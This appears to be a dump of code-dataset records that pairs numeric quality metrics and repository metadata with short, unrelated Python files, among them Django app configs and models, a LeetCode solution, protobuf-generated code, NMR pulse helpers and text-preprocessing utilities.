0.75
0
0
0
0
0
0.358974
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
b635fe2ebe94c7a65c10aea4c27e25fa173102c4
98
py
Python
django_postgres_extensions/__init__.py
readevalprint/django_postgres_extensions
5d4e2a97ac15d5bc6e73e558298ab842008623ca
[ "BSD-3-Clause" ]
56
2016-08-19T10:47:24.000Z
2022-01-04T16:19:40.000Z
django_postgres_extensions/__init__.py
readevalprint/django_postgres_extensions
5d4e2a97ac15d5bc6e73e558298ab842008623ca
[ "BSD-3-Clause" ]
8
2016-11-18T17:02:55.000Z
2020-02-05T02:45:05.000Z
django_postgres_extensions/__init__.py
readevalprint/django_postgres_extensions
5d4e2a97ac15d5bc6e73e558298ab842008623ca
[ "BSD-3-Clause" ]
30
2017-07-17T19:06:15.000Z
2022-03-26T12:03:01.000Z
default_app_config = 'django_postgres_extensions.apps.PSQLExtensionsConfig' __version__ = "0.9.3"
32.666667
75
0.836735
12
98
6.166667
1
0
0
0
0
0
0
0
0
0
0
0.032609
0.061224
98
2
76
49
0.771739
0
0
0
0
0
0.581633
0.530612
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
b65b44f89902780906b17696e5d35df0d377aa7d
789
py
Python
sitegate/tests/testapp/views.py
idlesign/django-sitegate
ae53fa7f40e9ead0e4201bd7787682a9f1a3a122
[ "BSD-3-Clause" ]
19
2015-04-09T04:56:07.000Z
2019-12-26T03:56:42.000Z
sitegate/tests/testapp/views.py
idlesign/django-sitegate
ae53fa7f40e9ead0e4201bd7787682a9f1a3a122
[ "BSD-3-Clause" ]
9
2015-04-19T10:20:07.000Z
2017-05-15T20:29:25.000Z
sitegate/tests/testapp/views.py
idlesign/django-sitegate
ae53fa7f40e9ead0e4201bd7787682a9f1a3a122
[ "BSD-3-Clause" ]
4
2015-08-25T18:13:12.000Z
2017-09-17T05:32:25.000Z
try: from django.http.response import HttpResponse except ImportError: from django.http import HttpResponse from django.template.base import Template from django.template.context import Context from sitegate.decorators import signup_view, redirect_signedin, signin_view def response_from_string(request, strin...
32.875
99
0.785805
99
789
6.040404
0.383838
0.06689
0.090301
0.125418
0.19398
0.19398
0.19398
0.19398
0.19398
0
0
0
0.106464
789
23
100
34.304348
0.848227
0
0
0
0
0
0.13308
0
0
0
0
0
0
1
0.1875
false
0
0.375
0.1875
0.75
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
1
1
0
0
3
b661d4ed60022eb2e5906688e74e7d719c3307e3
314
py
Python
correios/entities/oec.py
rennancockles/rastreio-correios
689f2d5ea26e45983834b2192d249c35e3db90aa
[ "MIT" ]
2
2021-11-16T16:54:19.000Z
2022-03-17T19:10:08.000Z
correios/entities/oec.py
rennancockles/rastreio-correios
689f2d5ea26e45983834b2192d249c35e3db90aa
[ "MIT" ]
null
null
null
correios/entities/oec.py
rennancockles/rastreio-correios
689f2d5ea26e45983834b2192d249c35e3db90aa
[ "MIT" ]
null
null
null
from typing import Optional from pydantic import BaseModel from .endereco import Endereco class OEC(BaseModel): lista: Optional[str] longitude: Optional[str] latitude: Optional[str] carteiro: Optional[str] distrito: Optional[str] unidade: Optional[str] endereco: Optional[Endereco]
19.625
32
0.729299
36
314
6.361111
0.444444
0.28821
0
0
0
0
0
0
0
0
0
0
0.191083
314
15
33
20.933333
0.901575
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.272727
0
1
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
1
0
0
3
b69733de46cb5010e9000686904e12c067e600bf
2,032
py
Python
sales/models.py
lalanza808/xmrauctions
992f0e605e566610d03c6e388ce70dcfa58864b3
[ "MIT" ]
3
2020-01-07T13:01:59.000Z
2020-11-25T01:27:53.000Z
sales/models.py
lalanza808/xmrauctions
992f0e605e566610d03c6e388ce70dcfa58864b3
[ "MIT" ]
6
2020-01-02T21:33:04.000Z
2022-03-12T00:10:40.000Z
sales/models.py
lalanza808/xmrauctions
992f0e605e566610d03c6e388ce70dcfa58864b3
[ "MIT" ]
2
2020-02-01T18:03:07.000Z
2020-07-22T18:47:22.000Z
from django_prometheus.models import ExportModelOperationsMixin from django.db import models from django.contrib.auth.models import User from django.conf import settings from items.models import Item from bids.models import ItemBid class ItemSale(ExportModelOperationsMixin('item_sale'), models.Model): item = mode...
50.8
94
0.786417
243
2,032
6.358025
0.329218
0.186408
0.2589
0.31068
0.402589
0.124272
0.059547
0
0
0
0
0.005039
0.121063
2,032
39
95
52.102564
0.860022
0
0
0
0
0.027778
0.042323
0
0
0
0
0
0
1
0.027778
false
0
0.166667
0.027778
1
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
3
b69c8ed1b1bd01175b2a4ee1cd6ab9028790538a
517
py
Python
ciclo1_python/udea/MisionTIC_UdeA_Ciclo1/Material/Semana_5/reejerciciolistasenlazadas/Nodo.py
felipeescallon/mision_tic_2022
20496fc40b18d2e98114d6362928f34fde41aaae
[ "CC0-1.0" ]
7
2021-07-05T21:25:50.000Z
2021-11-09T11:09:41.000Z
ciclo1_python/udea/MisionTIC_UdeA_Ciclo1/Material/Semana_5/reejerciciolistasenlazadas/Nodo.py
felipeescallon/mision_tic_2022
20496fc40b18d2e98114d6362928f34fde41aaae
[ "CC0-1.0" ]
null
null
null
ciclo1_python/udea/MisionTIC_UdeA_Ciclo1/Material/Semana_5/reejerciciolistasenlazadas/Nodo.py
felipeescallon/mision_tic_2022
20496fc40b18d2e98114d6362928f34fde41aaae
[ "CC0-1.0" ]
null
null
null
class Nodo(): def __init__(varClase, nombre, movil, correo): varClase.nombre = nombre varClase.movil = movil varClase.correo = correo varClase.siguiente = None def actualizar(varClase, nombre, movil, correo): varClase.nombre = nombre varClase.movil = m...
28.722222
53
0.601547
50
517
6.14
0.28
0.228013
0.123779
0.162866
0.540717
0.540717
0.540717
0.540717
0.540717
0.540717
0
0
0.295938
517
17
54
30.411765
0.843407
0
0
0.428571
0
0
0.04
0
0
0
0
0
0
1
0.214286
false
0
0
0
0.285714
0.214286
0
0
0
null
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
3
fcdbdc8f82224a0162de1226e6d6bed71c5409b7
186
py
Python
hooks/__init__.py
hmiladhia/nbmanips-hooks
2ec4b3d9332155f51e17bf995cb3ebe9a6ebb3a3
[ "MIT" ]
null
null
null
hooks/__init__.py
hmiladhia/nbmanips-hooks
2ec4b3d9332155f51e17bf995cb3ebe9a6ebb3a3
[ "MIT" ]
null
null
null
hooks/__init__.py
hmiladhia/nbmanips-hooks
2ec4b3d9332155f51e17bf995cb3ebe9a6ebb3a3
[ "MIT" ]
null
null
null
from os.path import join as _join from os.path import dirname as _dir with open(_join(_dir(__file__), "VERSION"), "r", encoding="utf-8") as fh: __version__ = fh.read().strip()
31
74
0.682796
30
186
3.833333
0.633333
0.104348
0.173913
0.278261
0
0
0
0
0
0
0
0.006494
0.172043
186
5
75
37.2
0.74026
0
0
0
0
0
0.071823
0
0
0
0
0
0
1
0
false
0
0.5
0
0.5
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
3
1e226179f94985de6ccad45c1b5c2828f431000c
481
py
Python
fmri/utils/activations.py
spell00/pytorch-fmri
42abd1e5a9a54cd4f4b7e0e89579301203d0aeb0
[ "MIT" ]
1
2021-07-29T02:18:07.000Z
2021-07-29T02:18:07.000Z
fmri/utils/activations.py
spell00/pytorch-fmri
42abd1e5a9a54cd4f4b7e0e89579301203d0aeb0
[ "MIT" ]
null
null
null
fmri/utils/activations.py
spell00/pytorch-fmri
42abd1e5a9a54cd4f4b7e0e89579301203d0aeb0
[ "MIT" ]
1
2021-07-29T02:18:09.000Z
2021-07-29T02:18:09.000Z
in_channels = None out_channels = None kernel_sizes = None strides = None from torch import nn from torch.nn import functional as F def swish(x): return x * x.sigmoid() def mish(x): return x * F.softplus(x).tanh() class Swish(nn.Module): def __init__(self): super().__init__() def forward(s...
15.03125
36
0.627859
70
481
4.042857
0.4
0.09894
0.056537
0.106007
0.34629
0.34629
0.34629
0.34629
0.34629
0.34629
0
0
0.251559
481
31
37
15.516129
0.786111
0
0
0.3
0
0
0
0
0
0
0
0
0
1
0.3
false
0
0.1
0.2
0.7
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
3
1e4d96fb28e919a7badf0e3e0db3b16aa6f5f7f2
398
py
Python
src/561-ArrayPartitionI.py
Jiezhi/myleetcode
b346e94c46da2a3033ebc8ff50e621aa179c4f62
[ "MIT" ]
1
2022-03-03T15:11:48.000Z
2022-03-03T15:11:48.000Z
src/561-ArrayPartitionI.py
Jiezhi/myleetcode
b346e94c46da2a3033ebc8ff50e621aa179c4f62
[ "MIT" ]
null
null
null
src/561-ArrayPartitionI.py
Jiezhi/myleetcode
b346e94c46da2a3033ebc8ff50e621aa179c4f62
[ "MIT" ]
2
2022-01-20T22:49:58.000Z
2022-01-20T22:53:13.000Z
#!/usr/bin/env python """ Github: https://github.com/Jiezhi/myleetcode Created on 2019/8/28 Leetcode: https://leetcode.com/problems/array-partition-i/ """ from typing import List class Solution: def arrayPairSum(self, nums: List[int]) -> int: return sum(sorted(nums)[::2]) def test(): assert Solut...
16.583333
58
0.653266
55
398
4.581818
0.763636
0
0
0
0
0
0
0
0
0
0
0.039394
0.170854
398
23
59
17.304348
0.724242
0.369347
0
0
0
0
0.033058
0
0
0
0
0
0.125
1
0.25
false
0
0.125
0.125
0.625
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
3
1e654effc9a6aaf39d053f8db1567bd4fb221805
1,636
py
Python
cacreader/swig-4.0.2/Examples/test-suite/python/doxygen_basic_notranslate_runme.py
kyletanyag/LL-Smartcard
02abea9de5a13f8bae4d7832ab34cb7f0d9514c9
[ "BSD-3-Clause" ]
1,031
2015-01-02T14:08:47.000Z
2022-03-29T02:25:27.000Z
cacreader/swig-4.0.2/Examples/test-suite/python/doxygen_basic_notranslate_runme.py
kyletanyag/LL-Smartcard
02abea9de5a13f8bae4d7832ab34cb7f0d9514c9
[ "BSD-3-Clause" ]
240
2015-01-11T04:27:19.000Z
2022-03-30T00:35:57.000Z
cacreader/swig-4.0.2/Examples/test-suite/python/doxygen_basic_notranslate_runme.py
kyletanyag/LL-Smartcard
02abea9de5a13f8bae4d7832ab34cb7f0d9514c9
[ "BSD-3-Clause" ]
224
2015-01-05T06:13:54.000Z
2022-02-25T14:39:51.000Z
import doxygen_basic_notranslate import inspect import string import sys import comment_verifier comment_verifier.check(inspect.getdoc(doxygen_basic_notranslate.function), r"""\brief Brief description. The comment text \author Some author \return Some number \sa function2""" ) comment_verifier.check(inspect.getd...
24.41791
99
0.773227
237
1,636
5.223629
0.375527
0.129241
0.184168
0.232633
0.508885
0.508885
0.508885
0.508885
0.23748
0.067851
0
0.008445
0.131418
1,636
66
100
24.787879
0.862773
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.172414
0
0.172414
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
3
1e737053cebed799913e8406d6ce7b59d540ce7e
327
py
Python
apis/models.py
FIWARE-Blockchain/Taurus
c1bb74bb033960743a6de9c236ffee07d8636083
[ "Apache-2.0" ]
4
2020-11-22T23:50:39.000Z
2021-12-28T14:38:43.000Z
apis/models.py
FIWARE-Blockchain/Taurus
c1bb74bb033960743a6de9c236ffee07d8636083
[ "Apache-2.0" ]
null
null
null
apis/models.py
FIWARE-Blockchain/Taurus
c1bb74bb033960743a6de9c236ffee07d8636083
[ "Apache-2.0" ]
1
2021-04-08T12:32:41.000Z
2021-04-08T12:32:41.000Z
from django.db import models # Create your models here. class Config(models.Model): contractAddress = models.CharField(max_length=255) abi = models.CharField(max_length=255) date = models.DateTimeField(auto_now=True) interval = models.IntegerField() def __str__(self): return self.contractA...
27.25
54
0.733945
40
327
5.825
0.7
0.128755
0.154506
0.206009
0.23176
0
0
0
0
0
0
0.022222
0.174312
327
11
55
29.727273
0.840741
0.073395
0
0
0
0
0
0
0
0
0
0
0
1
0.125
false
0
0.125
0.125
1
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
1
0
0
3
1e79ccc493207b2893b337220885e61fc7b44fd7
936
py
Python
lib/read_from_ina219.py
h-matsuo/eTracker
f94bdcc79430e33d040d444ab8d19955746baf66
[ "MIT" ]
null
null
null
lib/read_from_ina219.py
h-matsuo/eTracker
f94bdcc79430e33d040d444ab8d19955746baf66
[ "MIT" ]
null
null
null
lib/read_from_ina219.py
h-matsuo/eTracker
f94bdcc79430e33d040d444ab8d19955746baf66
[ "MIT" ]
null
null
null
#!/usr/bin/python # coding: UTF-8 """ Read energy consumption data from INA219 chip """ __author__ = "Hiroyuki Matsuo <h-matsuo@ist.osaka-u.ac.jp>" from subfact_pi_ina219.Subfact_ina219 import INA219 class ReadFromINA219: def __init__(self): self.ina219 = INA219() # Calibration to use Raspbe...
26
81
0.692308
116
936
5.37931
0.568966
0.096154
0.089744
0.128205
0
0
0
0
0
0
0
0.069863
0.220085
936
35
82
26.742857
0.784932
0.342949
0
0
0
0
0.073211
0.046589
0
0
0
0
0
1
0.357143
false
0
0.071429
0.285714
0.785714
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
3
1e9696acf9debc9ff2c66e8ab295943e052d63ad
6,226
py
Python
google/ads/google_ads/v4/proto/services/shopping_performance_view_service_pb2.py
arammaliachi/google-ads-python
a4fe89567bd43eb784410523a6306b5d1dd9ee67
[ "Apache-2.0" ]
1
2021-04-09T04:28:47.000Z
2021-04-09T04:28:47.000Z
google/ads/google_ads/v4/proto/services/shopping_performance_view_service_pb2.py
arammaliachi/google-ads-python
a4fe89567bd43eb784410523a6306b5d1dd9ee67
[ "Apache-2.0" ]
null
null
null
google/ads/google_ads/v4/proto/services/shopping_performance_view_service_pb2.py
arammaliachi/google-ads-python
a4fe89567bd43eb784410523a6306b5d1dd9ee67
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- # Generated by the protocol buffer compiler. DO NOT EDIT! # source: google/ads/googleads_v4/proto/services/shopping_performance_view_service.proto import sys _b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1')) from google.protobuf import descriptor as _descriptor from go...
55.097345
1,214
0.830549
737
6,226
6.689281
0.270014
0.062475
0.070994
0.085193
0.396552
0.343813
0.253955
0.204462
0.121704
0.09858
0
0.039828
0.068423
6,226
112
1,215
55.589286
0.810172
0.055092
0
0.114943
1
0.034483
0.46307
0.426991
0
0
0
0
0
1
0
false
0
0.114943
0
0.114943
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
1e9e1fa011c2bfa42698af77d9904b6b99cf4f55
134
py
Python
spiderBasic/urllibTest/parseTest/urlparseTest.py
turoDog/LearningPython
8e87e1a6926e2d6d7f131fbadaf63a03e2aa41cd
[ "Apache-2.0" ]
2
2018-07-11T02:13:44.000Z
2019-04-06T02:41:44.000Z
spiderBasic/urllibTest/parseTest/urlparseTest.py
turoDog/LearningPython
8e87e1a6926e2d6d7f131fbadaf63a03e2aa41cd
[ "Apache-2.0" ]
null
null
null
spiderBasic/urllibTest/parseTest/urlparseTest.py
turoDog/LearningPython
8e87e1a6926e2d6d7f131fbadaf63a03e2aa41cd
[ "Apache-2.0" ]
null
null
null
from urllib.parse import urlparse result = urlparse('https://www.baidu.com/index.html;user?id=5#comment') print(type(result),result)
26.8
71
0.768657
21
134
4.904762
0.857143
0
0
0
0
0
0
0
0
0
0
0.008
0.067164
134
4
72
33.5
0.816
0
0
0
0
0
0.373134
0
0
0
0
0
0
1
0
false
0
0.333333
0
0.333333
0.333333
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
3
1ea38e841479c6b204fe5f2a4a58188a2f4db6c5
281
py
Python
coding_interviews/leetcode/easy/sum_zero/sum_zero.py
LeandroTk/Algorithms
569ed68eba3eeff902f8078992099c28ce4d7cd6
[ "MIT" ]
205
2018-12-01T17:49:49.000Z
2021-12-22T07:02:27.000Z
coding_interviews/leetcode/easy/sum_zero/sum_zero.py
LeandroTk/Algorithms
569ed68eba3eeff902f8078992099c28ce4d7cd6
[ "MIT" ]
2
2020-01-01T16:34:29.000Z
2020-04-26T19:11:13.000Z
coding_interviews/leetcode/easy/sum_zero/sum_zero.py
LeandroTk/Algorithms
569ed68eba3eeff902f8078992099c28ce4d7cd6
[ "MIT" ]
50
2018-11-28T20:51:36.000Z
2021-11-29T04:08:25.000Z
def sum_zero(n): zero_sum_array = [] counter = 1 if n % 2 != 0: zero_sum_array.append(0) n -= 1 while n: zero_sum_array.append(counter) zero_sum_array.append(-counter) counter += 1 n -= 2 return zero_sum_array
17.5625
39
0.540925
40
281
3.525
0.325
0.248227
0.425532
0.382979
0.35461
0
0
0
0
0
0
0.038889
0.359431
281
15
40
18.733333
0.744444
0
0
0
0
0
0
0
0
0
0
0
0
1
0.083333
false
0
0
0
0.166667
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
1eb87dc1531221400449dd613329b682a51726aa
245
py
Python
python/test/mod_file_var/mod1.py
qrsforever/workspace
53c7ce7ca7da62c9fbb3d991ae9e4e34d07ece5f
[ "MIT" ]
2
2017-06-07T03:20:42.000Z
2020-01-07T09:14:26.000Z
python/test/mod_file_var/mod1.py
qrsforever/workspace
53c7ce7ca7da62c9fbb3d991ae9e4e34d07ece5f
[ "MIT" ]
null
null
null
python/test/mod_file_var/mod1.py
qrsforever/workspace
53c7ce7ca7da62c9fbb3d991ae9e4e34d07ece5f
[ "MIT" ]
null
null
null
#!/usr/bin/python3 # -*- coding: utf-8 -*- from globalvar import DICT_VAR import otherfile from cls import Cls2 print(DICT_VAR) otherfile.test() DICT_VAR['a'] = 100 DICT_VAR['b'] = 100 DICT_VAR['f'] = Cls2 print(DICT_VAR) otherfile.test()
12.894737
30
0.697959
39
245
4.230769
0.512821
0.254545
0.157576
0.193939
0.351515
0.351515
0
0
0
0
0
0.047619
0.142857
245
18
31
13.611111
0.738095
0.159184
0
0.4
0
0
0.014706
0
0
0
0
0
0
1
0
true
0
0.3
0
0.3
0.2
0
0
0
null
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
3
1eccb86d0e319ae126637130cb2869e115c8e5ea
1,585
py
Python
snpit/genotype.py
philipwfowler/snpit
9c20838772d4cb5726627385a9bb193434caf11a
[ "MIT" ]
5
2018-08-31T15:57:38.000Z
2021-06-24T11:11:16.000Z
snpit/genotype.py
philipwfowler/snpit
9c20838772d4cb5726627385a9bb193434caf11a
[ "MIT" ]
10
2019-05-29T22:38:52.000Z
2020-10-17T22:52:53.000Z
snpit/genotype.py
philipwfowler/snpit
9c20838772d4cb5726627385a9bb193434caf11a
[ "MIT" ]
5
2018-11-21T20:30:19.000Z
2020-10-12T09:57:17.000Z
from typing import Optional, List class InvalidGenotypeString(Exception): pass class UnexpectedGenotypeError(Exception): pass class Genotype: def __init__(self, call1: Optional[int], call2: Optional[int] = None): self.call1 = call1 if call1 is not None else -1 self.call2 = self.call1 i...
28.818182
84
0.566562
196
1,585
4.5
0.316327
0.071429
0.063492
0.061224
0.100907
0.06576
0.06576
0
0
0
0
0.032638
0.304101
1,585
54
85
29.351852
0.766999
0.037855
0
0.052632
0
0
0.009887
0
0
0
0
0
0
1
0.210526
false
0.052632
0.026316
0.157895
0.5
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
1
0
0
0
3
1edf2da0acf195f121adc37f2e0897429501b935
274
py
Python
s3_app/config.py
JustinDPerkins/flask
b1e414f2511ad22290c70411c9aa7adaf1221188
[ "MIT" ]
2
2021-02-26T04:09:02.000Z
2021-03-17T01:28:50.000Z
s3_app/config.py
JustinDPerkins/flask
b1e414f2511ad22290c70411c9aa7adaf1221188
[ "MIT" ]
null
null
null
s3_app/config.py
JustinDPerkins/flask
b1e414f2511ad22290c70411c9aa7adaf1221188
[ "MIT" ]
null
null
null
import os import sys UPLOAD_FOLDER = os.path.join(os.getcwd(), "uploads") S3_BUCKET = os.environ.get("S3_BUCKET_NAME") S3_KEY = os.environ.get("S3_ACCESS_KEY") S3_SECRET = os.environ.get("S3_SECRET_ACCESS_KEY") S3_LOCATION = 'http://{}.s3.amazonaws.com/'.format(S3_BUCKET)
30.444444
61
0.751825
46
274
4.195652
0.478261
0.124352
0.186529
0.217617
0
0
0
0
0
0
0
0.035573
0.076642
274
8
62
34.25
0.727273
0
0
0
0
0
0.29562
0
0
0
0
0
0
1
0
false
0
0.285714
0
0.285714
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
9497bf3f03ed55e91d04f7dec4f42d43ae1a63b8
1,611
py
Python
amocrm/dictwrap.py
paramono/amocrm
bc20be51b0970a46b1ab488c41fbeafe9d8a4f25
[ "BSD-3-Clause" ]
1
2017-08-02T14:27:43.000Z
2017-08-02T14:27:43.000Z
amocrm/dictwrap.py
paramono/amocrm
bc20be51b0970a46b1ab488c41fbeafe9d8a4f25
[ "BSD-3-Clause" ]
null
null
null
amocrm/dictwrap.py
paramono/amocrm
bc20be51b0970a46b1ab488c41fbeafe9d8a4f25
[ "BSD-3-Clause" ]
1
2018-11-04T10:53:43.000Z
2018-11-04T10:53:43.000Z
import json from copy import deepcopy class DictWrap: ALLOWED_DICT_KEYS = ('value', 'enum',) def __init__(self, **kwargs): self.__dict__['_dict'] = {} def todict(self): return deepcopy(self._dict) def tojson(self, verb='add', id_=None): return json.dumps(self.todict(verb=ver...
21.197368
58
0.57604
202
1,611
4.222772
0.267327
0.168816
0.131301
0.10551
0.107855
0
0
0
0
0
0
0.000885
0.298572
1,611
75
59
21.48
0.753982
0.016139
0
0
0
0
0.010739
0
0
0
0
0
0
1
0.411765
false
0
0.039216
0.333333
0.823529
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
3
949fee63fae7e91fe1ce17d2fe60a158a6e8c294
219
py
Python
jokes/serializers.py
python-frederick/rest-demo
ba6dda4bee739b5647e32b25f2f46ff79b0a9a94
[ "BSD-2-Clause" ]
null
null
null
jokes/serializers.py
python-frederick/rest-demo
ba6dda4bee739b5647e32b25f2f46ff79b0a9a94
[ "BSD-2-Clause" ]
null
null
null
jokes/serializers.py
python-frederick/rest-demo
ba6dda4bee739b5647e32b25f2f46ff79b0a9a94
[ "BSD-2-Clause" ]
null
null
null
from rest_framework import serializers from jokes.models import Joke class JokeSerializer(serializers.ModelSerializer): class Meta: model = Joke fields = ('id', 'question', 'punchline', 'laughs')
21.9
58
0.703196
23
219
6.652174
0.782609
0
0
0
0
0
0
0
0
0
0
0
0.200913
219
9
59
24.333333
0.874286
0
0
0
0
0
0.114155
0
0
0
0
0
0
1
0
false
0
0.333333
0
0.666667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
3
94b4d125660d1781730df3bc231e01de1f583944
150
py
Python
src/waldur_rijkscloud/__init__.py
opennode/waldur-rijkscloud
3149a326a3e9f5795b8c418ab6aa2dbbe0ed74fe
[ "MIT" ]
null
null
null
src/waldur_rijkscloud/__init__.py
opennode/waldur-rijkscloud
3149a326a3e9f5795b8c418ab6aa2dbbe0ed74fe
[ "MIT" ]
null
null
null
src/waldur_rijkscloud/__init__.py
opennode/waldur-rijkscloud
3149a326a3e9f5795b8c418ab6aa2dbbe0ed74fe
[ "MIT" ]
null
null
null
from waldur_core import _get_version __version__ = _get_version('waldur_rijkscloud') default_app_config = 'waldur_rijkscloud.apps.RijkscloudConfig'
25
62
0.853333
18
150
6.388889
0.666667
0.173913
0
0
0
0
0
0
0
0
0
0
0.08
150
5
63
30
0.833333
0
0
0
0
0
0.373333
0.26
0
0
0
0
0
1
0
false
0
0.333333
0
0.333333
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
3
94bd1d0dd3f1347558edbc411fd5e4318c294587
88
py
Python
hdface/__init__.py
hanson-young/hdface
527b9ccadf3d44d59f547f81ed2b563b033099de
[ "MIT" ]
4
2019-08-21T09:39:57.000Z
2022-03-05T11:35:55.000Z
hdface/__init__.py
hanson-young/hdface
527b9ccadf3d44d59f547f81ed2b563b033099de
[ "MIT" ]
null
null
null
hdface/__init__.py
hanson-young/hdface
527b9ccadf3d44d59f547f81ed2b563b033099de
[ "MIT" ]
null
null
null
#! /usr/bin/python3 __author__ = "hanson" from hdface.hdface import * name = "hdface"
12.571429
27
0.693182
11
88
5.181818
0.818182
0
0
0
0
0
0
0
0
0
0
0.013514
0.159091
88
6
28
14.666667
0.756757
0.204545
0
0
0
0
0.176471
0
0
0
0
0
0
1
0
false
0
0.333333
0
0.333333
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
3
94ff3ea16cd1f6496153470e119a057b960fbeb2
2,741
py
Python
modules/Bak.July2013/MergePut.py
TrentFranks/ssNMR-Topspin-Python
95f99dc66bc665493d81d075088486f55ccae964
[ "MIT" ]
3
2016-08-24T12:01:15.000Z
2021-12-02T21:45:34.000Z
modules/Bak.July2013/MergePut.py
TrentFranks/ssNMR-Topspin-Python
95f99dc66bc665493d81d075088486f55ccae964
[ "MIT" ]
null
null
null
modules/Bak.July2013/MergePut.py
TrentFranks/ssNMR-Topspin-Python
95f99dc66bc665493d81d075088486f55ccae964
[ "MIT" ]
null
null
null
import de.bruker.nmr.mfw.root as root import TopCmds def HPul(PW, PL, Unit): TopCmds.PUTPAR("P 3",str(PW)) TopCmds.PUTPAR("P 4",str(2*float(PW))) TopCmds.PUTPAR("PL"+Unit+" 2",PL) return def CPul(PW, PL, Unit): TopCmds.PUTPAR("P 1",PW) TopCmds.PUTPAR("P 2",str(2*float(PW))) TopCmds.PUTPAR("PL"+Unit+" 1...
26.355769
44
0.638088
456
2,741
3.833333
0.164474
0.438787
0.188787
0.23913
0.54119
0.320938
0.258581
0.173913
0.122426
0.043478
0
0.043534
0.145202
2,741
103
45
26.61165
0.702518
0.012404
0
0.147727
0
0
0.104582
0
0
0
0
0
0
1
0.159091
false
0
0.022727
0.011364
0.340909
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
94ffbdc08fc87382427a129548714f0e54830baa
1,119
py
Python
sentence_preprocessing.py
pietermarsman/me-understanding-textrank
43f246fcf019d590aad723fdd043b7b1adc4b398
[ "MIT" ]
null
null
null
sentence_preprocessing.py
pietermarsman/me-understanding-textrank
43f246fcf019d590aad723fdd043b7b1adc4b398
[ "MIT" ]
null
null
null
sentence_preprocessing.py
pietermarsman/me-understanding-textrank
43f246fcf019d590aad723fdd043b7b1adc4b398
[ "MIT" ]
null
null
null
import re from unidecode import unidecode def split_sentences(text): return re.split('[\n]{1,}|\.\W|\.(?=[A-Z])', text) def clean_sentence(text): return unidecode(re.sub('[^a-zA-Z]', ' ', text).lower().strip()) def _is_meaningfull_sentence(sentence, min_characters, min_fraction_letters): number_of_charac...
44.76
124
0.726542
149
1,119
5.154362
0.302013
0.101563
0.09375
0.020833
0.179688
0.15625
0.15625
0.15625
0.15625
0
0
0.007392
0.153709
1,119
25
125
44.76
0.80359
0
0
0
0
0
0.039286
0.022321
0
0
0
0
0
1
0.210526
false
0
0.105263
0.105263
0.526316
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
3
a207216ba5ae16254ee9e0161e5bff0f057a6392
2,203
py
Python
